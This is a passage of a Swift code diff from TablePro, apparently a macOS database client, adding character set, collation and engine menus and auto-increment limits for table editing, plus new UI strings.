+        if words.count > 1, words.last == "BINARY" {
+            words.removeLast()
+        }
+        return textSpellings.contains(words.joined(separator: " "))
+    }
+
+    private static func baseWords(of dataType: String) -> [String] {
+        let base = dataType.prefix { $0 != "(" }
+        return base.uppercased().split(whereSeparator: \.isWhitespace).map(String.init)
+    }
+
+    private static let textSpellings: Set<String> = [
+        "CHAR", "CHARACTER", "VARCHAR", "CHARACTER VARYING", "CHAR VARYING",
+        "TINYTEXT", "TEXT", "MEDIUMTEXT", "LONGTEXT", "LONG", "LONG VARCHAR",
+        "ENUM", "SET"
+    ]
+}
+
+enum AutoIncrementRange {
+    static func maximum(forColumnType dataType: String) -> UInt64? {
+        maximum(forColumnType: dataType, unsigned: false)
+    }
+
+    /// `unsigned` is the column's own flag, for a type read without the word.
+    static func maximum(forColumnType dataType: String, unsigned: Bool) -> UInt64? {
+        let words = dataType.uppercased().split { $0.isWhitespace || $0 == "(" || $0 == ")" }.map(String.init)
+        guard let base = words.first else { return nil }
+        if base == "SERIAL" { return UInt64.max }
+        guard let bits = integerBits[base] else { return nil }
+        let isUnsigned = unsigned || words.contains("UNSIGNED")
+        return isUnsigned ? UInt64.max >> (64 - bits) : UInt64.max >> (65 - bits)
+    }
+
+    private static let integerBits: [String: Int] = [
+        "TINYINT": 8, "INT1": 8, "BOOL": 8, "BOOLEAN": 8,
+        "SMALLINT": 16, "INT2": 16,
+        "MEDIUMINT": 24, "INT3": 24, "MIDDLEINT": 24,
+        "INT": 32, "INTEGER": 32, "INT4": 32,
+        "BIGINT": 64, "INT8": 64
+    ]
+}
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index f5096d97d9..faf51f7f82 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -3200,6 +3200,9 @@
           }
         }
       }
+    },
+    "%@ (default)" : {
+
     },
     "%@ (entry point %@)" : {
       "localizations" : {
@@ -17968,6 +17971,9 @@
     "A user with ALTER SYSTEM can find its session in V$SESSION and end it with ALTER SYSTEM KILL SESSION." : {
       "extractionState" : "manual",
       "generatesSymbol" : false
+    },
+    "A value at or below the highest existing ID becomes that ID plus one." : {
+
     },
     "A value could not be written as JSON." : {
       "localizations" : {
@@ -26592,6 +26598,9 @@
           }
         }
       }
+    },
+    "Applies to columns added later. Existing columns keep their character set." : {
+
     },
     "Applies to grid cells, the inspector, cell popovers and the row diff." : {
 
@@ -37838,6 +37847,9 @@
           }
         }
       }
+    },
+    "Choose a character set first" : {
+
     },
     "Choose a connection" : {
       "localizations" : {
@@ -50072,6 +50084,9 @@
           }
         }
       }
+    },
+    "Convert existing columns" : {
+
     },
     "Convert line break to space" : {
       "extractionState" : "stale",
@@ -50195,6 +50210,9 @@
           }
         }
       }
+    },
+    "Converting the table's character set rewrites every text column and loses characters the new one cannot hold." : {
+
     },
     "Coordination & Config" : {
       "localizations" : {
@@ -54891,6 +54909,9 @@
           }
         }
       }
+    },
+    "Couldn't read the character sets" : {
+
     },
     "Couldn't read the referenced table" : {
       "localizations" : {
@@ -54901,6 +54922,15 @@
           }
         }
       }
+    },
+    "Couldn't read the saved value." : {
+
+    },
+    "Couldn't read the server's character sets." : {
+
+    },
+    "Couldn't read the table options" : {
+
     },
     "Couldn't Refresh Materialized View" : {
       "localizations" : {
@@ -70031,6 +70061,9 @@
     },
     "Edit Settings" : {
 
+    },
+    "Edit Table Options" : {
+
     },
     "Edit Sequence" : {
 
@@ -72198,6 +72231,9 @@
           }
         }
       }
+    },
+    "Enter a whole number from 1 to %@." : {
+
     },
     "Enter an absolute path, as it appears on the SSH server." : {
       "localizations" : {
@@ -114566,6 +114602,15 @@
     "Newspaper" : {
       "extractionState" : "manual",
       "generatesSymbol" : false
+    },
+    "Next Auto Increment" : {
+
+    },
+    "Next Auto Increment must be between 1 and %@" : {
+
+    },
+    "Next Auto Increment needs a column with AUTO_INCREMENT" : {
+
     },
     "Next cursor: %@. The scan has not finished." : {
       "extractionState" : "manual",
@@ -142758,6 +142803,12 @@
     },
     "Reading the files…" : {
 
+    },
+    "Reading the saved value…" : {
+
+    },
+    "Reading the server's character sets…" : {
+
     },
     "Reading the source…" : {
       "localizations" : {
@@ -151171,6 +151222,9 @@
           }
         }
       }
+    },
+    "Rewrites every text column to this character set. TEXT can grow to MEDIUMTEXT, and the table is copied while it runs." : {
+
     },
     "right curly bracket" : {
       "extractionState" : "manual",
@@ -155427,6 +155481,9 @@
           }
         }
       }
+    },
+    "Save column and primary key changes before converting existing columns." : {
+
     },
     "Save Comparison…" : {
       "localizations" : {
@@ -177643,6 +177700,9 @@
           }
         }
       }
+    },
+    "Table Default" : {
+
     },
     "Table Description" : {
       "extractionState" : "manual",
@@ -183745,6 +183805,10 @@
         }
       }
     },
+    "The CHECK on column %@ names column %@, which this save renames. Save the rename on its own first." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "The cache must be at least 1." : {
 
     },
@@ -198784,6 +198848,9 @@
           }
         }
       }
+    },
+    "This table has no options to change." : {
+
     },
     "This table has no primary key or unique index to match rows on." : {
 
diff --git a/apple/TablePro/Views/Structure/ColumnCharacterSetMenus.swift b/apple/TablePro/Views/Structure/ColumnCharacterSetMenus.swift
new file mode 100644
index 0000000000..aff4253166
--- /dev/null
+++ b/apple/TablePro/Views/Structure/ColumnCharacterSetMenus.swift
@@ -0,0 +1,198 @@
+//
+//  ColumnCharacterSetMenus.swift
+//  TablePro
+//
+
+import Foundation
+import TableProPluginKit
+
+// The Charset and Collation cells of the Structure and Create Table grids: their menus, the names they
+// take and when they are read-only. The server refuses a name it does not know (ERROR 1253, unknown
+// character set), so once the catalog is read the list is closed and a typed name must be in it.
+enum ColumnCharacterSetMenus {
+    struct Context {
+        var catalog: MetadataLoadState<TableOptionsCatalog?>
+        // What a column without a character set of its own takes.
+        var tableCharacterSet: String?
+
+        var loadedCatalog: TableOptionsCatalog? {
+            guard case .loaded(let catalog) = self.catalog else { return nil }
+            return catalog
+        }
+    }
+
+    enum Entry: Equatable {
+        // The engine has no catalog, so the text is written as typed.
+        case unchecked
+        case unchanged
+        case set(characterSet: String?, collation: String?)
+        case refused
+    }
+
+    static func isCharacterSetField(_ field: StructureColumnField) -> Bool {
+        field == .charset || field == .collation
+    }
+
+    // An engine whose driver has no catalog keeps the plain text cell it always had.
+    static func offersMenus(_ catalog: MetadataLoadState<TableOptionsCatalog?>) -> Bool {
+        if case .loaded(.none) = catalog { return false }
+        return true
+    }
+
+    static func options(
+        for field: StructureColumnField,
+        column: EditableColumnDefinition,
+        context: Context
+    ) -> [GridMenuOption]? {
+        guard isCharacterSetField(field), takesCharacterSet(column) else { return nil }
+        let current = field == .charset ? column.charset : column.collation
+        switch context.catalog {
+        case .loaded(.none):
+            return nil
+        case .idle, .loading:
+            return [.sectionHeader(String(localized: "Loading…"))] + currentOnly(current)
+        case .failed:
+            return [.sectionHeader(String(localized: "Couldn't read the character sets"))] + currentOnly(current)
+        case .loaded(.some(let catalog)):
+            if field == .charset {
+                return characterSetOptions(catalog: catalog, current: current)
+            }
+            return collationOptions(
+                catalog: catalog,
+                characterSet: column.charset ?? context.tableCharacterSet,
+                current: current
+            )
+        }
+    }
+
+    static func entry(
+        _ text: String,
+        for field: StructureColumnField,
+        column: EditableColumnDefinition,
+        context: Context
+    ) -> Entry {
+        guard isCharacterSetField(field) else { return .unchecked }
+        let name = text.trimmingCharacters(in: .whitespaces)
+        switch context.catalog {
+        case .loaded(.none):
+            return .unchecked
+        case .idle, .loading, .failed:
+            return .refused
+        case .loaded(.some(let catalog)):
+            if name.isEmpty {
+                return clearing(field, column: column)
+            }
+            guard takesCharacterSet(column) else { return .refused }
+            if field == .charset {
+                return characterSetEntry(name, column: column, catalog: catalog)
+            }
+            return collationEntry(name, column: column, catalog: catalog)
+        }
+    }
+
+    static func locks(
+        _ field: StructureColumnField,
+        column: EditableColumnDefinition,
+        catalog: MetadataLoadState<TableOptionsCatalog?>
+    ) -> Bool {
+        guard isCharacterSetField(field) else { return false }
+        switch catalog {
+        case .loaded(.none):
+            return false
+        case .loaded(.some):
+            return !takesCharacterSet(column)
+        case .idle, .loading, .failed:
+            return true
+        }
+    }
+
+    static func lockedFieldIndices(
+        orderedFields: [StructureColumnField],
+        column: EditableColumnDefinition,
+        catalog: MetadataLoadState<TableOptionsCatalog?>
+    ) -> Set<Int> {
+        Set(orderedFields.indices.filter { locks(orderedFields[$0], column: column, catalog: catalog) })
+    }
+
+    // MARK: - Menus
+
+    private static func characterSetOptions(catalog: TableOptionsCatalog, current: String?) -> [GridMenuOption] {
+        var options: [GridMenuOption] = [.value(title: String(localized: "Table Default"), sql: "")]
+        let names = catalog.characterSets.map(\.name)
+        if let current, !current.isEmpty, !names.contains(where: { matches($0, current) }) {
+            options.append(.value(title: current, sql: current))
+        }
+        options += GridMenuOption.values(names)
+        return options
+    }
+
+    private static func collationOptions(
+        catalog: TableOptionsCatalog,
+        characterSet: String?,
+        current: String?
+    ) -> [GridMenuOption] {
+        guard let characterSet = characterSet.flatMap({ catalog.characterSet(named: $0) }) else {
+            return [.sectionHeader(String(localized: "Choose a character set first"))] + currentOnly(current)
+        }
+        var options: [GridMenuOption] = [.sectionHeader(characterSet.name)]
+        if let current, !current.isEmpty, !characterSet.collations.contains(where: { matches($0, current) }) {
+            options.append(.value(title: current, sql: current))
+        }
+        options += characterSet.collations.map { name in
+            GridMenuOption.value(
+                title: TableOptionsForm.collationTitle(name, isDefault: name == characterSet.defaultCollation),
+                sql: name
+            )
+        }
+        return options
+    }
+
+    private static func currentOnly(_ current: String?) -> [GridMenuOption] {
+        guard let current, !current.isEmpty else { return [] }
+        return [.value(title: current, sql: current)]
+    }
+
+    // MARK: - Entries
+
+    private static func clearing(_ field: StructureColumnField, column: EditableColumnDefinition) -> Entry {
+        if field == .charset {
+            return column.charset == nil && column.collation == nil ? .unchanged : .set(characterSet: nil, collation: nil)
+        }
+        return column.collation == nil ? .unchanged : .set(characterSet: column.charset, collation: nil)
+    }
+
+    private static func characterSetEntry(
+        _ name: String,
+        column: EditableColumnDefinition,
+        catalog: TableOptionsCatalog
+    ) -> Entry {
+        guard let characterSet = catalog.characterSet(named: name) else {
+            return matches(name, column.charset) ? .unchanged : .refused
+        }
+        guard !matches(characterSet.name, column.charset) else { return .unchanged }
+        return .set(characterSet: characterSet.name, collation: characterSet.defaultCollation.nilIfEmpty)
+    }
+
+    // A collation belongs to one character set, so a name from another set moves the column to that set.
+    private static func collationEntry(
+        _ name: String,
+        column: EditableColumnDefinition,
+        catalog: TableOptionsCatalog
+    ) -> Entry {
+        guard !matches(name, column.collation) else { return .unchanged }
+        guard let owner = catalog.characterSet(owning: name),
+              let collation = owner.collations.first(where: { matches($0, name) }) else { return .refused }
+        return .set(characterSet: owner.name, collation: collation)
+    }
+
+    // MARK: - Helpers
+
+    private static func takesCharacterSet(_ column: EditableColumnDefinition) -> Bool {
+        ColumnTextType.takesCharacterSet(column.dataType)
+    }
+
+    private static func matches(_ lhs: String, _ rhs: String?) -> Bool {
+        guard let rhs else { return false }
+        return lhs.caseInsensitiveCompare(rhs) == .orderedSame
+    }
+}
diff --git a/apple/TablePro/Views/Structure/CreateTableDraft.swift b/apple/TablePro/Views/Structure/CreateTableDraft.swift
index f13d0189b7..2877426dab 100644
--- a/apple/TablePro/Views/Structure/CreateTableDraft.swift
+++ b/apple/TablePro/Views/Structure/CreateTableDraft.swift
@@ -5,12 +5,15 @@
 
 import Combine
 import Foundation
+import os
 import TableProPluginKit
 
 internal struct CreateTableCompositionKey: Hashable {
     let scope: DatabaseScope
     let tableName: String
     let options: CreateTableOptions
+    let offersEngineOptions: Bool
+    let optionDefaults: CreateTableOptionDefaults
     let columns: [EditableColumnDefinition]
     let indexes: [EditableIndexDefinition]
     let foreignKeys: [EditableForeignKeyDefinition]
@@ -18,6 +21,8 @@ internal struct CreateTableCompositionKey: Hashable {
 
 @MainActor
 internal final class CreateTableDraft: ObservableObject {
+    private static let logger = Logger(subsystem: "com.TablePro", category: "CreateTableDraft")
+
     internal let changeManager = StructureChangeManager()
 
     @Published internal var tableName = "" {
@@ -28,6 +33,14 @@ internal final class CreateTableDraft: ObservableObject {
     }
     @Published internal var tableOptions = CreateTableOptions()
     @Published internal var form: CreateTableFormState?
+
+    // Server-wide: the character sets, collations and engines the pickers and the column cells offer.
+    @Published internal private(set) var optionsCatalog: MetadataLoadState<TableOptionsCatalog?> = .idle
+    // Per target database, so a draft compares a pick with the defaults of the database it creates the table in.
+    @Published internal private(set) var optionDefaults = CreateTableOptionDefaults()
+    private var optionDefaultsScope: DatabaseScope?
+    private var optionsScope: DatabaseScope?
+    private var optionsCatalogRead: Task<Void, Never>?
     @Published internal private(set) var hasResolvedForm = false
 
     internal func resolveForm(from spec: @autoclosure () -> PluginCreateTableFormSpec?) {
@@ -65,12 +78,82 @@ internal final class CreateTableDraft: ObservableObject {
     internal func gridAdapter(for connection: DatabaseConnection) -> CreateTableGridAdapter {
         if let gridAdapter { return gridAdapter }
         let adapter = CreateTableGridAdapter(structureChangeManager: changeManager, connection: connection)
+        adapter.draft = self
         gridAdapter = adapter
         return adapter
     }
 
-    internal static func offersEngineOptions(for databaseType: DatabaseType) -> Bool {
-        databaseType == .mysql || databaseType == .mariadb
+    // The driver's catalog decides, never the engine's type: a driver without one has no table options.
+    internal var catalog: TableOptionsCatalog? {
+        guard case .loaded(let catalog) = optionsCatalog else { return nil }
+        return catalog
+    }
+
+    internal var offersEngineOptions: Bool { catalog != nil }
+
+    internal func selectCharacterSet(_ charset: String?) {
+        guard charset != tableOptions.charset else { return }
+        tableOptions = tableOptions.selectingCharacterSet(
+            charset,
+            collation: TableOptionsForm.defaultCollation(of: charset, in: catalog)
+        )
+    }
+
+    // Idempotent: a remount skips what is loaded, and a read a switch cancelled runs again on return.
+    internal func loadTableOptions(scope: DatabaseScope, provider: any ScopedMetadataProviding = DatabaseManager.shared) async {
+        let loader = TableStructureLoader(scope: scope, tableName: "", provider: provider)
+        await loadOptionsCatalog(using: loader)
+        guard catalog != nil, optionDefaultsScope != scope else { return }
+        do {
+            let defaults = try await loader.defaultTableOptions()
+            optionDefaults = CreateTableOptionDefaults(
+                characterSet: defaults?.characterSet,
+                collation: defaults?.collation,
+                engine: catalog?.defaultEngine
+            )
+            optionDefaultsScope = scope
+            tableOptions = tableOptions.seeded(with: optionDefaults)
+        } catch {
+            guard StructureFetchFailure(error, taskIsCancelled: Task.isCancelled) != .cancelled else { return }
+            // Without the database's defaults every pick is written out, so the table still gets what the user chose.
+            Self.logger.error("Failed to read the default table options: \(error.publicLogShape, privacy: .public)")
+        }
+    }
+
+    // Opening a column's Charset or Collation menu is the retry.
+    internal func retryOptionsCatalog() {
+        guard case .failed = optionsCatalog, let optionsScope else { return }
+        Task { await loadTableOptions(scope: optionsScope) }
+    }
+
+    private func loadOptionsCatalog(using loader: TableStructureLoader) async {
+        optionsScope = loader.scope
+        if case .loaded = optionsCatalog { return }
+        // The draft owns the read, so a view task cancelled by a tab switch leaves it running for the view that returns.
+        if let optionsCatalogRead {
+            await optionsCatalogRead.value
+            return
+        }
+        optionsCatalog = optionsCatalog.enteringLoad
+        let read = Task { [weak self] in
+            let outcome: MetadataFetchOutcome<TableOptionsCatalog?>
+            do {
+                outcome = .fetched(try await loader.tableOptionsCatalog())
+            } catch {
+                switch StructureFetchFailure(error, taskIsCancelled: Task.isCancelled) {
+                case .cancelled:
+                    outcome = .cancelled
+                case .failed(let message):
+                    Self.logger.error("Failed to read the table options catalog: \(error.publicLogShape, privacy: .public)")
+                    outcome = .failed(message)
+                }
+            }
+            guard let self else { return }
+            optionsCatalog = optionsCatalog.settled(by: outcome, discardingValue: false)
+            optionsCatalogRead = nil
+        }
+        optionsCatalogRead = read
+        await read.value
     }
 
     internal func plan(for databaseType: DatabaseType) -> CreateTablePlan {
@@ -81,7 +164,8 @@ internal final class CreateTableDraft: ObservableObject {
             indexes: changeManager.workingIndexes,
             foreignKeys: changeManager.workingForeignKeys,
             dialect: ForeignKeyDialect.forType(databaseType),
-            includesEngineOptions: Self.offersEngineOptions(for: databaseType),
+            includesEngineOptions: offersEngineOptions,
+            defaults: optionDefaults,
             suppliesItsOwnKey: PluginManager.shared.defaultPrimaryKeyColumn(for: databaseType) != nil
         )
     }
@@ -91,6 +175,8 @@ internal final class CreateTableDraft: ObservableObject {
             scope: scope,
             tableName: tableName,
             options: tableOptions,
+            offersEngineOptions: offersEngineOptions,
+            optionDefaults: optionDefaults,
             columns: changeManager.workingColumns,
             indexes: changeManager.workingIndexes,
             foreignKeys: changeManager.workingForeignKeys
diff --git a/apple/TablePro/Views/Structure/CreateTableGridAdapter.swift b/apple/TablePro/Views/Structure/CreateTableGridAdapter.swift
index 24d07eb1b0..599cc720d7 100644
--- a/apple/TablePro/Views/Structure/CreateTableGridAdapter.swift
+++ b/apple/TablePro/Views/Structure/CreateTableGridAdapter.swift
@@ -17,6 +17,8 @@ final class CreateTableGridAdapter {
     let referenceMenus: ForeignKeyReferenceMenus
 
     weak var coordinator: MainContentCoordinator?
+    // Holds the catalog the Charset and Collation cells pick from, and the table's own character set.
+    weak var draft: CreateTableDraft?
     var serverSupport = StructureServerSupport.unrestricted
     private(set) var structureTab: StructureTab = .columns
 
@@ -64,6 +66,18 @@ final class CreateTableGridAdapter {
         refresh()
     }
 
+    var characterSetContext: ColumnCharacterSetMenus.Context {
+        ColumnCharacterSetMenus.Context(
+            catalog: draft?.optionsCatalog ?? .idle,
+            tableCharacterSet: draft?.tableOptions.charset
+        )
+    }
+
+    func characterSetCatalogDidChange() {
+        refresh()
+        coordinator?.inspectorRowSourceRevision += 1
+    }
+
     func refresh() {
         changeTracking.tab = structureTab
         changeTracking.rowCount = StructureGridEdits.rowCount(on: structureTab, manager: structureChangeManager)
@@ -73,7 +87,8 @@ final class CreateTableGridAdapter {
             databaseType: connection.type,
             additionalFields: [.primaryKey],
             serverSupport: serverSupport,
-            sortDescriptor: sortDescriptor
+            sortDescriptor: sortDescriptor,
+            picksCharacterSets: ColumnCharacterSetMenus.offersMenus(characterSetContext.catalog)
         )
         self.provider = provider
         let rows = provider.asTableRows()
@@ -132,21 +147,48 @@ final class CreateTableGridAdapter {
                 foreignKey: structureChangeManager.workingForeignKeys[sourceIndex],
                 tableColumns: structureChangeManager.workingColumns.map(\.name)
             )
-        case .columns, .checkConstraints, .ddl, .parts, .triggers:
+        case .columns:
+            guard structureChangeManager.workingColumns.indices.contains(sourceIndex),
+                  provider.orderedColumnFields.indices.contains(field) else { return nil }
+            return ColumnCharacterSetMenus.options(
+                for: provider.orderedColumnFields[field],
+                column: structureChangeManager.workingColumns[sourceIndex],
+                context: characterSetContext
+            )
+        case .checkConstraints, .options, .ddl, .parts, .triggers:
             return nil
         }
     }
 
+    func characterSetLockedFields(sourceIndex: Int) -> Set<Int> {
+        guard structureTab == .columns, structureChangeManager.workingColumns.indices.contains(sourceIndex) else { return [] }
+        return ColumnCharacterSetMenus.lockedFieldIndices(
+            orderedFields: provider.orderedColumnFields,
+            column: structureChangeManager.workingColumns[sourceIndex],
+            catalog: characterSetContext.catalog
+        )
+    }
+
     @discardableResult
     func applyEdit(rowID: RowID, field: Int, text: String) -> Bool {
         guard let sourceIndex = StructureRowProvider.sourceIndex(of: rowID) else { return false }
-        write(text, field: field, sourceIndex: sourceIndex)
+        let applied = write(text, field: field, sourceIndex: sourceIndex)
         refresh()
-        return true
+        return applied
     }
 
-    private func write(_ text: String, field: Int, sourceIndex: Int) {
-        guard field >= 0 else { return }
+    private func write(_ text: String, field: Int, sourceIndex: Int) -> Bool {
+        let characterSets = characterSetContext
+        guard field >= 0,
+              !StructureGridEdits.refuses(
+                  text,
+                  field: field,
+                  sourceIndex: sourceIndex,
+                  tab: structureTab,
+                  manager: structureChangeManager,
+                  orderedFields: provider.orderedColumnFields,
+                  characterSets: characterSets
+              ) else { return false }
         let changedReference = StructureGridEdits.apply(
             text,
             field: field,
@@ -154,13 +196,15 @@ final class CreateTableGridAdapter {
             tab: structureTab,
             manager: structureChangeManager,
             orderedFields: provider.orderedColumnFields,
-            connection: connection
+            connection: connection,
+            characterSets: characterSets
         )
         if let changedReference {
             referenceMenus.prefetchReferencedColumns(
                 of: changedReference.referencedTable, schema: changedReference.referencedSchema
             )
         }
+        return true
     }
 
     func addRow() {
@@ -210,7 +254,12 @@ extension CreateTableGridAdapter: DataGridDataSource {
 
     func gridMenuOptions(for rowID: RowID, column: DataGridColumn) -> [GridMenuOption]? {
         guard let sourceIndex = StructureRowProvider.sourceIndex(of: rowID) else { return nil }
-        return menuOptions(sourceIndex: sourceIndex, field: column.dataIndex)
+        let options = menuOptions(sourceIndex: sourceIndex, field: column.dataIndex)
+        if structureTab == .columns, provider.orderedColumnFields.indices.contains(column.dataIndex),
+           ColumnCharacterSetMenus.isCharacterSetField(provider.orderedColumnFields[column.dataIndex]) {
+            draft?.retryOptionsCatalog()
+        }
+        return options
     }
 }
 
@@ -220,9 +269,11 @@ extension CreateTableGridAdapter: DataGridActions {
             StructureRowProvider.sourceIndex(of: edit.rowID).map { ($0, edit.dataIndex, edit.newValue.asText ?? "") }
         }
         guard !writes.isEmpty else { return false }
+        var applied = false
         let writeAll = {
             for (sourceIndex, field, text) in writes {
-                self.write(text, field: field, sourceIndex: sourceIndex)
+                let wrote = self.write(text, field: field, sourceIndex: sourceIndex)
+                applied = applied || wrote
             }
         }
         if writes.count > 1 {
@@ -231,7 +282,7 @@ extension CreateTableGridAdapter: DataGridActions {
             writeAll()
         }
         refresh()
-        return true
+        return applied
     }
 
     func gridDeleteRows(_ rowIDs: [RowID]) {
@@ -264,6 +315,7 @@ extension CreateTableGridAdapter: InspectorRowSource {
             tab: structureTab,
             provider: provider,
             canEditSchema: true,
+            lockedFieldIndices: characterSetLockedFields(sourceIndex: sourceIndex),
             rowOptions: { menuOptions(sourceIndex: sourceIndex, field: $0) }
         )
     }
diff --git a/apple/TablePro/Views/Structure/CreateTableView.swift b/apple/TablePro/Views/Structure/CreateTableView.swift
index 5c890d61a1..ffdb61b7ac 100644
--- a/apple/TablePro/Views/Structure/CreateTableView.swift
+++ b/apple/TablePro/Views/Structure/CreateTableView.swift
@@ -94,6 +94,8 @@ struct CreateTableView: View {
         .onChange(of: structureChangeManager.reloadVersion) { _ in gridAdapter.refresh() }
         .onChange(of: structureChangeManager.hasChanges) { _ in gridAdapter.refresh() }
         .onChange(of: isReadyToCreate) { _ in updateCreateTablePendingState() }
+        .onChange(of: draft.optionsCatalog) { _ in gridAdapter.characterSetCatalogDidChange() }
+        .task(id: scope) { await loadTableOptions() }
         .task(id: compositionKey) { await recomposeAfterPause() }
         .alert(String(localized: "Create Table Failed"), isPresented: $showError) {
             Button("OK") {}
@@ -163,45 +165,73 @@ struct CreateTableView: View {
                     .accessibilityIdentifier("create-table-comment")
             }
 
-            if showMySQLOptions {
+            if let catalog = draft.catalog, draft.hasResolvedForm, draft.form == nil {
                 Divider()
                     .frame(height: 20)
 
-                Picker("Engine:", selection: $draft.tableOptions.engine) {
-                    ForEach(CreateTableOptions.engines, id: \.self) { engine in
-                        Text(engine).tag(engine)
-                    }
-                }
-                .fixedSize()
-
-                Picker("Charset:", selection: $draft.tableOptions.charset) {
-                    ForEach(CreateTableOptions.charsets, id: \.self) { cs in
-                        Text(cs).tag(cs)
-                    }
-                }
-                .fixedSize()
-
-                Picker("Collation:", selection: $draft.tableOptions.collation) {
-                    ForEach(CreateTableOptions.collations[draft.tableOptions.charset] ?? [], id: \.self) { col in
-                        Text(col).tag(col)
-                    }
-                }
-                .fixedSize()
+                engineOptions(catalog)
             }
 
             Spacer()
         }
         .padding()
         .paneBarBackground()
-        .onChange(of: draft.tableOptions.charset) { newCharset in
-            if let first = CreateTableOptions.collations[newCharset]?.first {
-                draft.tableOptions.collation = first
+    }
+
+    // Lists from the server's catalog, started from the target database's defaults. Nil writes no clause.
+    @ViewBuilder
+    private func engineOptions(_ catalog: TableOptionsCatalog) -> some View {
+        let options = draft.tableOptions
+        if !catalog.engines.isEmpty || options.engine != nil {
+            Picker("Engine:", selection: $draft.tableOptions.engine) {
+                if options.engine == nil {
+                    Text("Default").tag(String?.none)
+                }
+                ForEach(TableOptionsForm.engines(in: catalog, keeping: options.engine)) { choice in
+                    Text(choice.title).tag(Optional(choice.name))
+                }
+            }
+            .fixedSize()
+            .accessibilityIdentifier("create-table-engine")
+        }
+
+        Picker("Charset:", selection: characterSetBinding) {
+            if options.charset == nil {
+                Text("Default").tag(String?.none)
+            }
+            ForEach(TableOptionsForm.characterSets(in: catalog, keeping: options.charset), id: \.self) { name in
+                Text(name).tag(Optional(name))
             }
         }
+        .fixedSize()
+        .accessibilityIdentifier("create-table-charset")
+
+        Picker("Collation:", selection: $draft.tableOptions.collation) {
+            if options.collation == nil {
+                Text("Default").tag(String?.none)
+            }
+            ForEach(
+                TableOptionsForm.collations(in: catalog, characterSet: options.charset, keeping: options.collation)
+            ) { choice in
+                Text(choice.title).tag(Optional(choice.name))
+            }
+        }
+        .fixedSize()
+        .disabled(options.charset == nil)
+        .accessibilityIdentifier("create-table-collation")
     }
 
-    private var showMySQLOptions: Bool {
-        CreateTableDraft.offersEngineOptions(for: connection.type)
+    // One whole-value write: the collation follows the charset, so a second write would resolve against a stale draft.
+    private var characterSetBinding: Binding<String?> {
+        Binding(
+            get: { draft.tableOptions.charset },
+            set: { draft.selectCharacterSet($0) }
+        )
+    }
+
+    private func loadTableOptions() async {
+        guard let scope else { return }
+        await draft.loadTableOptions(scope: scope)
     }
 
     private var offersTableComment: Bool {
diff --git a/apple/TablePro/Views/Structure/StructureEditGate.swift b/apple/TablePro/Views/Structure/StructureEditGate.swift
index 07a706f33d..21878ef68f 100644
--- a/apple/TablePro/Views/Structure/StructureEditGate.swift
+++ b/apple/TablePro/Views/Structure/StructureEditGate.swift
@@ -125,7 +125,7 @@ struct StructureEditGate {
         case .indexes, .foreignKeys, .checkConstraints:
             guard let adding = StructureFooterPolicy.operation(forAdding: tab) else { return false }
             return !allows(adding)
-        case .ddl, .parts, .triggers:
+        case .options, .ddl, .parts, .triggers:
             return false
         }
     }
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift b/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift
index af23e7a589..441fe58031 100644
--- a/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift
+++ b/apple/TablePro/Views/Structure/StructureEditingSession+Apply.swift
@@ -145,6 +145,7 @@ internal extension StructureEditingSession {
             return .refused
         }
         adoptWrittenTableComment(from: hold.changes)
+        adoptWrittenTableOptions(from: hold.changes)
         markEveryTabStale()
         hasLoaded = false
         lastAppliedAt = Date()
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift b/apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift
index 4e215e22ff..746544fc03 100644
--- a/apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift
+++ b/apple/TablePro/Views/Structure/StructureEditingSession+Baseline.swift
@@ -21,7 +21,9 @@ internal extension StructureEditingSession {
             foreignKeys: foreignKeys,
             checkConstraints: checkConstraints,
             primaryKey: primaryKey,
-            tableComment: loadedTableComment
+            tableComment: loadedTableComment,
+            tableOptions: loadedTableOptions,
+            autoIncrementConfirmed: autoIncrementRead == .confirmed
         )
     }
 
diff --git a/apple/TablePro/Views/Structure/StructureEditingSession.swift b/apple/TablePro/Views/Structure/StructureEditingSession.swift
index 4cddaf324f..5ff284e764 100644
--- a/apple/TablePro/Views/Structure/StructureEditingSession.swift
+++ b/apple/TablePro/Views/Structure/StructureEditingSession.swift
@@ -51,6 +51,16 @@ internal final class StructureEditingSession: ObservableObject {
 
     internal var loadedTableComment: String? { tableComment.value ?? nil }
 
+    @Published internal private(set) var tableOptions: MetadataLoadState<TableOptions?> = .idle
+
+    internal var loadedTableOptions: TableOptions? { tableOptions.value ?? nil }
+
+    /// Leaves `.confirmed` when a save writes the counter and returns only on a read that lands, since the server may raise it.
+    @Published internal private(set) var autoIncrementRead: AutoIncrementReadState = .confirmed
+
+    @Published internal private(set) var tableOptionsCatalog: MetadataLoadState<TableOptionsCatalog?> = .idle
+    internal var tableOptionsCatalogRead: Task<Void, Never>?
+
     @Published internal var selectedTab: StructureTab = .columns
     @Published internal var searchText = ""
     @Published internal var sortState = SortState()
@@ -65,7 +75,11 @@ internal final class StructureEditingSession: ObservableObject {
     }
 
     internal var availableTabs: [StructureTab] {
-        StructureTabAvailability.tabs(for: connection.type, serverSupport: serverSupport)
+        StructureTabAvailability.tabs(
+            for: connection.type,
+            serverSupport: serverSupport,
+            offersTableOptions: offersTableOptionsTab
+        )
     }
 
     internal var tabsFetchedOnMount: [StructureTab] {
@@ -163,6 +177,44 @@ internal final class StructureEditingSession: ObservableObject {
         tableComment = tableComment.settled(by: outcome, discardingValue: false)
     }
 
+    internal func beginTableOptionsLoad() {
+        tableOptions = tableOptions.enteringLoad
+        if autoIncrementRead == .unconfirmed {
+            autoIncrementRead = .rereading
+        }
+    }
+
+    internal func adoptWrittenTableOptions(from changes: [SchemaChange]) {
+        for change in changes {
+            switch change {
+            case .modifyTableCharacterSet(_, let written):
+                guard let loaded = loadedTableOptions else { continue }
+                tableOptions = .loaded(loaded.adoptingCharacterSet(of: written))
+            case .modifyAutoIncrement:
+                autoIncrementRead = .rereading
+            default:
+                continue
+            }
+        }
+    }
+
+    internal func settleTableOptions(_ outcome: MetadataFetchOutcome<TableOptions?>) {
+        tableOptions = tableOptions.settled(by: outcome, discardingValue: false)
+        if outcome.didFetch {
+            autoIncrementRead = .confirmed
